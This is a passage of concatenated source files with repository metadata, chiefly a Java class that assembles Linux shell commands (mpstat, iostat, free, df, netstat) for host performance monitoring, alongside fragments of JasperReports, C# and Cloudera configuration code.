supposed to work for print elements if (styleNameReference != null) { write(" <w:basedOn w:val=\"" + styleNameReference + "\" />\n"); } } /** * */ private void exportFooter() { write(" </w:style>\n"); } }
aleatorio12/ProVentasConnector
jasperreports-6.2.1-project/jasperreports-6.2.1/src/net/sf/jasperreports/engine/export/ooxml/DocxStyleHelper.java
Java
gpl-3.0
4,862
using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace Cereal64.Common.Rom { interface IXMLRomProjectItem { string GetXMLName(); string GetXMLPath(); } }
mib-f8sm9c/Cereal64
Common/Rom/IXMLRomProjectItem.cs
C#
gpl-3.0
228
package com.cloudera.cmf.service.config; import com.cloudera.cmf.service.ServiceDataProvider; import com.cloudera.cmf.service.ServiceHandlerRegistry; import com.cloudera.cmf.service.hdfs.DfsConnector; import com.cloudera.cmf.service.hdfs.HdfsParams; import com.google.common.collect.ImmutableList; import java.util.List; public class DefaultFsEvaluator extends AbstractGenericConfigEvaluator { public DefaultFsEvaluator() { super(null, HdfsParams.FS_DEFAULT_PROPERTY_NAMES); } protected List<EvaluatedConfig> evaluateConfig(ConfigEvaluationContext context, String propertyName) throws ConfigGenException { ServiceHandlerRegistry shr = context.getSdp().getServiceHandlerRegistry(); DfsConnector dfsConnector = (DfsConnector)ConfigEvaluatorHelpers.getCurrentOrDependencyConnector(shr, context.getService(), DfsConnector.TYPE); return ImmutableList.of(new EvaluatedConfig(propertyName, dfsConnector.getDefaultFS())); } }
Mapleroid/cm-server
server-5.11.0.src/com/cloudera/cmf/service/config/DefaultFsEvaluator.java
Java
gpl-3.0
977
import data.Host; import java.net.InetAddress; import java.net.UnknownHostException; public class DCMCommandLibraryLinux { private Host host; private String command = ""; private InetAddress inetAddress; private String dcmServerIP; private String mpstatDataFile; private String iostatDataFile; private String psCPUFile; private String psMEMFile; private final String OS = "Linux"; private final int AWK = 0; private final int BC = 1; private final int DF = 2; private final int ECHO = 3; private final int EGREP = 4; private final int FREE = 5; private final int GREP = 6; private final int HEAD = 7; private final int IOSTAT = 8; private final int MPSTAT = 9; private final int NETSTAT = 10; private final int PS = 11; private final int SED = 12; private final int SORT = 13; private final int TAIL = 14; private final int TR = 15; private final int W = 16; private final int WC = 17; private final int WHO = 18; private static String[][] cmdArray; public DCMCommandLibraryLinux(Host hostParam) throws UnknownHostException { host = hostParam; try { inetAddress = InetAddress.getLocalHost(); } catch (UnknownHostException ex) { } dcmServerIP = inetAddress.getHostAddress(); mpstatDataFile = ".dcmmpstat_" + dcmServerIP + "_" + host.getHostname() + ".dat"; iostatDataFile = ".dcmiostat_" + dcmServerIP + "_" + host.getHostname() + ".dat"; psCPUFile = ".dcmpscpu_" + dcmServerIP + "_" + host.getHostname() + ".dat"; psMEMFile = ".dcmpsmem_" + dcmServerIP + "_" + host.getHostname() + ".dat"; cmdArray = new String[19][4]; cmdArray[AWK][0] = Integer.toString(AWK); cmdArray[AWK][1] = "awk"; cmdArray[AWK][2] = OS + " install media"; cmdArray[AWK][3] = "binary " + cmdArray[AWK][1] + " not found, please set PATH or install from " + cmdArray[AWK][2]; cmdArray[BC][0] = Integer.toString(BC); cmdArray[BC][1] = "bc"; cmdArray[BC][2] = OS + " install media"; cmdArray[BC][3] = "binary " + cmdArray[BC][1] + " not found, please set PATH or install from " + cmdArray[BC][2]; cmdArray[DF][0] = Integer.toString(DF); cmdArray[DF][1] = "df"; cmdArray[DF][2] = OS + " install media"; cmdArray[DF][3] = "binary " + cmdArray[DF][1] + " not found, please set PATH or install from " + cmdArray[DF][2]; cmdArray[ECHO][0] = Integer.toString(ECHO); cmdArray[ECHO][1] = "echo"; cmdArray[ECHO][2] = OS + " install media"; cmdArray[ECHO][3] = "binary " + cmdArray[ECHO][1] + " not found, please set PATH or install from " + cmdArray[ECHO][2]; cmdArray[EGREP][0] = Integer.toString(EGREP); cmdArray[EGREP][1] = "egrep"; cmdArray[EGREP][2] = OS + " install media"; cmdArray[EGREP][3] = "binary " + cmdArray[EGREP][1] + " not found, please set PATH or install from " + cmdArray[EGREP][2]; cmdArray[FREE][0] = Integer.toString(FREE); cmdArray[FREE][1] = "free"; cmdArray[FREE][2] = OS + " install media"; cmdArray[FREE][3] = "binary " + cmdArray[FREE][1] + " not found, please set PATH or install from " + cmdArray[FREE][2]; cmdArray[GREP][0] = Integer.toString(GREP); cmdArray[GREP][1] = "grep"; cmdArray[GREP][2] = OS + " install media"; cmdArray[GREP][3] = "binary " + cmdArray[GREP][1] + " not found, please set PATH or install from " + cmdArray[GREP][2]; cmdArray[HEAD][0] = Integer.toString(HEAD); cmdArray[HEAD][1] = "head"; cmdArray[HEAD][2] = OS + " install media"; cmdArray[HEAD][3] = "binary " + cmdArray[HEAD][1] + " not found, please set PATH or install from " + cmdArray[HEAD][2]; cmdArray[IOSTAT][0] = Integer.toString(IOSTAT); cmdArray[IOSTAT][1] = "iostat"; cmdArray[IOSTAT][2] = OS + " install media sysstat package"; cmdArray[IOSTAT][3] = "binary " + cmdArray[IOSTAT][1] + " not found, please set PATH or install from " + cmdArray[IOSTAT][2]; cmdArray[MPSTAT][0] = Integer.toString(MPSTAT); cmdArray[MPSTAT][1] = "mpstat"; cmdArray[MPSTAT][2] = OS + " install media sysstat package"; cmdArray[MPSTAT][3] = "binary " + cmdArray[MPSTAT][1] + " not found, please set PATH or install from " + cmdArray[MPSTAT][2]; cmdArray[NETSTAT][0] = Integer.toString(NETSTAT); cmdArray[NETSTAT][1] = "netstat"; cmdArray[NETSTAT][2] = OS + " install media"; cmdArray[NETSTAT][3] = "binary " + cmdArray[NETSTAT][1] + " not found, please set PATH or install from " + cmdArray[NETSTAT][2]; cmdArray[PS][0] = Integer.toString(PS); cmdArray[PS][1] = "ps"; cmdArray[PS][2] = OS + " install media"; cmdArray[PS][3] = "binary " + cmdArray[PS][1] + " not found, please set PATH or install from " + cmdArray[PS][2]; cmdArray[SED][0] = Integer.toString(SED); cmdArray[SED][1] = "sed"; cmdArray[SED][2] = OS + " install media"; cmdArray[SED][3] = "binary " + cmdArray[SED][1] + " not found, please set PATH or install from " + cmdArray[SED][2]; cmdArray[SORT][0] = Integer.toString(SORT); cmdArray[SORT][1] = "sort"; cmdArray[SORT][2] = OS + " install media"; cmdArray[SORT][3] = "binary " + cmdArray[SORT][1] + " not found, please set PATH or install from " + cmdArray[SORT][2]; cmdArray[TAIL][0] = Integer.toString(TAIL); cmdArray[TAIL][1] = "tail"; cmdArray[TAIL][2] = OS + " install media"; cmdArray[TAIL][3] = "binary " + cmdArray[TAIL][1] + " not found, please set PATH or install from " + cmdArray[TAIL][2]; cmdArray[TR][0] = Integer.toString(TR); cmdArray[TR][1] = "tr"; cmdArray[TR][2] = OS + " install media"; cmdArray[TR][3] = "binary " + cmdArray[TR][1] + " not found, please set PATH or install from " + cmdArray[TR][2]; cmdArray[W][0] = Integer.toString(W); cmdArray[W][1] = "w"; cmdArray[W][2] = OS + " install media"; cmdArray[W][3] = "binary " + cmdArray[W][1] + " not found, please set PATH or install from " + cmdArray[W][2]; cmdArray[WC][0] = Integer.toString(WC); cmdArray[WC][1] = "wc"; cmdArray[WC][2] = OS + " install media"; cmdArray[WC][3] = "binary " + cmdArray[WC][1] + " not found, please set PATH or install from " + cmdArray[WC][2]; cmdArray[WHO][0] = Integer.toString(WHO); cmdArray[WHO][1] = "who"; cmdArray[WHO][2] = OS + " install media"; cmdArray[WHO][3] = "binary " + cmdArray[WHO][1] + " not found, please set PATH or install from " + cmdArray[WHO][2]; } // PS public String getPSCPUHostCommand() { if (host.getSysinfo().contains(OS)) { command = cmdArray[PS][1] + " -e -o pid,pcpu,comm | " + cmdArray[GREP][1] + " -iv \"pid\" | " + cmdArray[SORT][1] + " -k 2nr > " + psCPUFile + " \n"; } return command; } public String getPSMEMHostCommand() { if (host.getSysinfo().contains(OS)) { command = cmdArray[PS][1] + " -e -o pid,pmem,comm | " + cmdArray[GREP][1] + " -iv \"pid\" | " + cmdArray[SORT][1] + " -k 2nr > " + psMEMFile + " \n"; } return command; } // CPU // mpstat -P ALL 1 1 | " + cmdArray[TAIL][1] + " -`" + cmdArray[MPSTAT][1] + " -P ALL | " + cmdArray[EGREP][1] + " -vie "^$|CPU" | " + cmdArray[WC][1] + " -l` public String getCPUHostCommand() // This a HOST Command { // if (host.getSysinfo().contains(OS)) { command = cmdArray[MPSTAT][1] + " -P ALL 50 1 | " + cmdArray[TAIL][1] + " -`" + cmdArray[MPSTAT][1] + " -P ALL | " + cmdArray[EGREP][1] + " -vie \"^$|CPU\" | " + cmdArray[WC][1] + " -l` > " + mpstatDataFile + " & \n"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[MPSTAT][1] + " -P ALL 50 1 > " + mpstatDataFile + " & \n"; } return command; } public String getCPUUSERCommand(String resourceParam)// usr nice sys idle { // if (host.getSysinfo().contains(OS)) { command = cmdArray[MPSTAT][1] + " -P " + resourceParam.toUpperCase() + " 50 1 | " + cmdArray[EGREP][1] + " -v \"CPU|^$\" | " + cmdArray[EGREP][1] + " -ie \"" + resourceParam + "\" | " + cmdArray[AWK][1] + " '{ print $3 }' | " + cmdArray[AWK][1] + " -F\"[.,]\" '{ print $1\".\"$2 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[EGREP][1] + " -ie \"^.+:\\s+" + resourceParam + " +\" " + mpstatDataFile + " | " + cmdArray[HEAD][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $3 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getCPUSYSCommand(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = cmdArray[MPSTAT][1] + " -P " + resourceParam.toUpperCase() + " 50 1 | " + cmdArray[EGREP][1] + " -v \"CPU|^$\" | " + cmdArray[EGREP][1] + " -ie \"" + resourceParam + "\" | " + cmdArray[AWK][1] + " '{ print $5 }' | " + cmdArray[AWK][1] + " -F\"[.,]\" '{ print $1\".\"$2 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[EGREP][1] + " -ie \"^.+:\\s+" + resourceParam + " +\" " + mpstatDataFile + " | " + cmdArray[HEAD][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $5 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getCPUIDLECommand(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = cmdArray[MPSTAT][1] + " -P " + resourceParam.toUpperCase() + " 50 1 | " + cmdArray[EGREP][1] + " -v \"CPU|^$\" | " + cmdArray[EGREP][1] + " -ie \"" + resourceParam + "\" | " + cmdArray[AWK][1] + " '{ print $11 }' | " + cmdArray[AWK][1] + " -F\"[.,]\" '{ print $1\".\"$2 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[EGREP][1] + " -ie \"^.+:\\s+" + resourceParam + " +\" " + mpstatDataFile + " | " + cmdArray[HEAD][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $11 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getCPUWIOCommand(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = cmdArray[MPSTAT][1] + " -P " + resourceParam.toUpperCase() + " 50 1 | " + cmdArray[EGREP][1] + " -v \"CPU|^$\" | " + cmdArray[EGREP][1] + " -ie \"" + resourceParam + "\" | " + cmdArray[AWK][1] + " '{ print $6 }' | " + cmdArray[AWK][1] + " -F\"[.,]\" '{ print $1\".\"$2 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[EGREP][1] + " -ie \"^.+:\\s+" + resourceParam + " +\" " + mpstatDataFile + " | " + cmdArray[HEAD][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $6 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } // WORKLOAD public String getWorkload() { if (host.getSysinfo().contains(OS)) { command = cmdArray[W][1] + " | " + cmdArray[GREP][1] + " -i \"average\" | " + cmdArray[AWK][1] + " '{ print $10 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } // DiskIO public String getDiskIOHostCommand() // This a HOST Command { // if (host.getSysinfo().contains(OS)) { command = cmdArray[IOSTAT][1] + " -x -d 50 2 | " + cmdArray[EGREP][1] + " -vie \"^$|Device|Linux\" | " + cmdArray[TAIL][1] + " -`iostat -x -d | " + cmdArray[EGREP][1] + " -vie \"^$|Device|Linux\" | " + cmdArray[WC][1] + " -l` > " + iostatDataFile + " & \n"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[IOSTAT][1] + " -x -d 50 2 > " + iostatDataFile + " & \n"; } return command; } public String getDiskIOReadsPerSecondQuedCommand(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = cmdArray[IOSTAT][1] + " -xk " + resourceParam + " 1 2 | " + cmdArray[GREP][1] + " " + resourceParam + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $2 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[EGREP][1] + " -ie \"^ *" + resourceParam + " +\" " + iostatDataFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $2 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getDiskIOWritesPerSecondQuedCommand(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = cmdArray[IOSTAT][1] + " -xk " + resourceParam + " 1 2 | " + cmdArray[GREP][1] + " " + resourceParam + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $3 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[EGREP][1] + " -ie \"^ *" + resourceParam + " +\" " + iostatDataFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $3 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getDiskIOReadPerSecondCommand(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = cmdArray[IOSTAT][1] + " -xk " + resourceParam + " 1 2 | " + cmdArray[GREP][1] + " " + resourceParam + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $4 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[EGREP][1] + " -ie \"^ *" + resourceParam + " +\" " + iostatDataFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $4 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getDiskIOWritesPerSecondCommand(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = cmdArray[IOSTAT][1] + " -xk " + resourceParam + " 1 2 | " + cmdArray[GREP][1] + " " + resourceParam + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $5 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[EGREP][1] + " -ie \"^ *" + resourceParam + " +\" " + iostatDataFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $5 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getDiskIOKBReadPerSecondCommand(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = cmdArray[IOSTAT][1] + " -xk " + resourceParam + " 1 2 | " + cmdArray[GREP][1] + " " + resourceParam + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $6 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[EGREP][1] + " -ie \"^ *" + resourceParam + " +\" " + iostatDataFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $6 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getDiskIOKBWritesPerSecondCommand(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = cmdArray[IOSTAT][1] + " -xk " + resourceParam + " 1 2 | " + cmdArray[GREP][1] + " " + resourceParam + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $7 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[EGREP][1] + " -ie \"^ *" + resourceParam + " +\" " + iostatDataFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $7 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getDiskIOAverageTranscationSectorsCommand(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = cmdArray[IOSTAT][1] + " -xk " + resourceParam + " 1 2 | " + cmdArray[GREP][1] + " " + resourceParam + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $8 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[EGREP][1] + " -ie \"^ *" + resourceParam + " +\" " + iostatDataFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $8 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getDiskIOAverageQueueLengthCommand(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = cmdArray[IOSTAT][1] + " -xk " + resourceParam + " 1 2 | " + cmdArray[GREP][1] + " " + resourceParam + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $9 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[EGREP][1] + " -ie \"^ *" + resourceParam + " +\" " + iostatDataFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $9 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getDiskIOAverageTranscationResponseTimeMiliSecondsCommand(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = cmdArray[IOSTAT][1] + " -xk " + resourceParam + " 1 2 | " + cmdArray[GREP][1] + " " + resourceParam + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $10 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[EGREP][1] + " -ie \"^ *" + resourceParam + " +\" " + iostatDataFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $10 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getDiskIOAverageTranscationServiceTimeMiliSecondsCommand(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = cmdArray[IOSTAT][1] + " -xk " + resourceParam + " 1 2 | " + cmdArray[GREP][1] + " " + resourceParam + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $11 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[EGREP][1] + " -ie \"^ *" + resourceParam + " +\" " + iostatDataFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $11 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } public String getDiskIOTransactionCPUUtilizationPercentageCommand(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = cmdArray[IOSTAT][1] + " -xk " + resourceParam + " 1 2 | " + cmdArray[GREP][1] + " " + resourceParam + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $12 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[EGREP][1] + " -ie \"^ *" + resourceParam + " +\" " + iostatDataFile + " | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[AWK][1] + " '{ print $12 }' | " + cmdArray[SED][1] + " -e 's/,/./' -e 's/[^0-9.]//' -e 's/\\.$//'"; } return command; } // Memory public String getRAMTOTCommand(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[FREE][1] + " -m | " + cmdArray[GREP][1] + " Mem | " + cmdArray[AWK][1] + " '{ print $2 }'"; } return command; } public String getRAMUSEDCommand(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[FREE][1] + " -m | " + cmdArray[GREP][1] + " 'buffers/cache' | " + cmdArray[AWK][1] + " '{ print $3 }'"; } return command; } public String getRAMFREECommand(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[FREE][1] + " -m | " + cmdArray[GREP][1] + " 'buffers/cache' | " + cmdArray[AWK][1] + " '{ print $4 }'"; } return command; } public String getSWAPTOTCommand(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[FREE][1] + " -m | " + cmdArray[GREP][1] + " Swap | " + cmdArray[AWK][1] + " '{ print $2 }'"; } return command; } public String getSWAPUSEDCommand(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[FREE][1] + " -m | " + cmdArray[GREP][1] + " Swap | " + cmdArray[AWK][1] + " '{ print $3 }'"; } return command; } public String getSWAPFREECommand(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[FREE][1] + " -m | " + cmdArray[GREP][1] + " Swap | " + cmdArray[AWK][1] + " '{ print $4 }'"; } return command; } public String getTOTMEMCommand(Host hostParam) { // if (host.getSysinfo().contains(OS)) { command = "ramtot=`free -m | " + cmdArray[GREP][1] + " Mem | " + cmdArray[AWK][1] + " '{ print $2 }'`; swaptot=`free -m | " + cmdArray[GREP][1] + " Swap | " + cmdArray[AWK][1] + " '{ print $2 }'` totmem=$((ramtot + swaptot)); " + cmdArray[ECHO][1] + " $totmem"; } if (host.getSysinfo().contains(OS)) { command = "ramtot=`free -m | " + cmdArray[GREP][1] + " Mem | " + cmdArray[AWK][1] + " '{ print $2 }'`; swaptot=`free -m | " + cmdArray[GREP][1] + " Swap | " + cmdArray[AWK][1] + " '{ print $2 }'` totmem=`" + cmdArray[ECHO][1] + " \"$ramtot + $swaptot\" | " + cmdArray[BC][1] + "`; " + cmdArray[ECHO][1] + " $totmem"; } return command; } public String getTOTUSEDCommand(Host hostParam) { // if (host.getSysinfo().contains(OS)) { command = "ramused=`free -m | " + cmdArray[GREP][1] + " \"buffers/cache\" | " + cmdArray[AWK][1] + " '{ print $3 }'`; swapused=`free -m | " + cmdArray[GREP][1] + " Swap | " + cmdArray[AWK][1] + " '{ print $3 }'`; totused=$(( ramused + swapused )); " + cmdArray[ECHO][1] + " $totused"; } if (host.getSysinfo().contains(OS)) { command = "ramused=`free -m | " + cmdArray[GREP][1] + " \"buffers/cache\" | " + cmdArray[AWK][1] + " '{ print $3 }'`; swapused=`free -m | " + cmdArray[GREP][1] + " Swap | " + cmdArray[AWK][1] + " '{ print $3 }'`; totused=`" + cmdArray[ECHO][1] + " \"$ramused + $swapused\" | " + cmdArray[BC][1] + "`; " + cmdArray[ECHO][1] + " $totused"; } return command; } public String getTOTFREECommand(Host hostParam) { // if (host.getSysinfo().contains(OS)) { command = "ramfree=`free -m | " + cmdArray[GREP][1] + " \"buffers/cache\" | " + cmdArray[AWK][1] + " '{ print $4 }'`; swapfree=`free -m | " + cmdArray[GREP][1] + " Swap | " + cmdArray[AWK][1] + " '{ print $4 }'` totfree=$((ramfree + swapfree)); " + cmdArray[ECHO][1] + " $totfree"; } if (host.getSysinfo().contains(OS)) { command = "ramfree=`free -m | " + cmdArray[GREP][1] + " \"buffers/cache\" | " + cmdArray[AWK][1] + " '{ print $4 }'`; swapfree=`free -m | " + cmdArray[GREP][1] + " Swap | " + cmdArray[AWK][1] + " '{ print $4 }'` totfree=`" + cmdArray[ECHO][1] + " \"$ramfree + $swapfree\" | " + cmdArray[BC][1] + "`; " + cmdArray[ECHO][1] + " $totfree"; } return command; } // Storage public String getFSTOTCommand(String resourceParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[DF][1] + " -mP " + resourceParam + " | " + cmdArray[AWK][1] + " '{ print $2 }' | " + cmdArray[TAIL][1] + " -1"; } return command; } public String getFSUSEDCommand(String resourceParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[DF][1] + " -mP " + resourceParam + " | " + cmdArray[AWK][1] + " '{ print $3 }' | " + cmdArray[TAIL][1] + " -1"; } return command; } public String getFSFREECommand(String resourceParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[DF][1] + " -mP " + resourceParam + " | " + cmdArray[AWK][1] + " '{ print $4 }' | " + cmdArray[TAIL][1] + " -1"; } return command; } public String getFSUSEDPercCommand(String resourceParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[DF][1] + " -mP " + resourceParam + " | " + cmdArray[AWK][1] + " '{ print $5 }' | " + cmdArray[TAIL][1] + " -1 | " + cmdArray[TR][1] + " -d \"%\""; } return command; } // Network ethtool requires superuer unfortunately //Iface MTU Met RX-OK RX-ERR RX-DRP RX-OVR TX-OK TX-ERR TX-DRP TX-OVR Flg public String getIF_RX_OK_Command(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = "/sbin/ethtool -S " + resourceParam + " | " + cmdArray[GREP][1] + " tx_bytes | " + cmdArray[AWK][1] + " '{ print $2 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -i | " + cmdArray[GREP][1] + " \"" + resourceParam + "\" | " + cmdArray[AWK][1] + " '{ print $4 }'"; } return command; } public String getIF_RX_ERR_Command(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = "/sbin/ethtool -S " + resourceParam + " | " + cmdArray[GREP][1] + " rx_bytes | " + cmdArray[AWK][1] + " '{ print $2 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -i | " + cmdArray[GREP][1] + " \"" + resourceParam + "\" | " + cmdArray[AWK][1] + " '{ print $5 }'"; } return command; } public String getIF_RX_Drop_Command(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = "/sbin/ethtool -S " + resourceParam + " | " + cmdArray[GREP][1] + " tx_errors_total | " + cmdArray[AWK][1] + " '{ print $2 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -i | " + cmdArray[GREP][1] + " \"" + resourceParam + "\" | " + cmdArray[AWK][1] + " '{ print $6 }'"; } return command; } public String getIF_RX_OVR_Command(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = "/sbin/ethtool -S " + resourceParam + " | " + cmdArray[GREP][1] + " rx_errors_total | " + cmdArray[AWK][1] + " '{ print $2 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -i | " + cmdArray[GREP][1] + " \"" + resourceParam + "\" | " + cmdArray[AWK][1] + " '{ print $7 }'"; } return command; } public String getIF_TX_OK_Command(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = "/sbin/ethtool -S " + resourceParam + " | " + cmdArray[GREP][1] + " tx_bytes | " + cmdArray[AWK][1] + " '{ print $2 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -i | " + cmdArray[GREP][1] + " \"" + resourceParam + "\" | " + cmdArray[AWK][1] + " '{ print $8 }'"; } return command; } public String getIF_TX_ERR_Command(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = "/sbin/ethtool -S " + resourceParam + " | " + cmdArray[GREP][1] + " rx_bytes | " + cmdArray[AWK][1] + " '{ print $2 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -i | " + cmdArray[GREP][1] + " \"" + resourceParam + "\" | " + cmdArray[AWK][1] + " '{ print $9 }'"; } return command; } public String getIF_TX_Drop_Command(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = "/sbin/ethtool -S " + resourceParam + " | " + cmdArray[GREP][1] + " tx_errors_total | " + cmdArray[AWK][1] + " '{ print $2 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -i | " + cmdArray[GREP][1] + " \"" + resourceParam + "\" | " + cmdArray[AWK][1] + " '{ print $10 }'"; } return command; } public String getIF_TX_OVR_Command(String resourceParam) { // if (host.getSysinfo().contains(OS)) { command = "/sbin/ethtool -S " + resourceParam + " | " + cmdArray[GREP][1] + " rx_errors_total | " + cmdArray[AWK][1] + " '{ print $2 }'"; } return command; if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -i | " + cmdArray[GREP][1] + " \"" + resourceParam + "\" | " + cmdArray[AWK][1] + " '{ print $11 }'"; } return command; } // Network public String getTCPSTATESTABLISHEDCommand(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -an | " + cmdArray[EGREP][1] + " -ie \"tcp.+ESTABLISHED\" | " + cmdArray[WC][1] + " -l | " + cmdArray[AWK][1] + " '{ print $1 }'"; } return command; } public String getTCPSTATSYN_SENTCommand(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -an | " + cmdArray[EGREP][1] + " -ie \"tcp.+SYN_SENT\" | " + cmdArray[WC][1] + " -l | " + cmdArray[AWK][1] + " '{ print $1 }'"; } return command; } public String getTCPSTATSYN_RECVCommand(Host hostParam) { if (host.getSysinfo().contains(OS)) { command = cmdArray[NETSTAT][1] + " -an | " + cmdArray[EGREP][1] + " -ie \"tcp.+SYN_RECV\" | " + cmdArray[WC][1] + " -l | " + cmdArray[AWK][1] + " '{ print $1 }'"; } return command; } public String 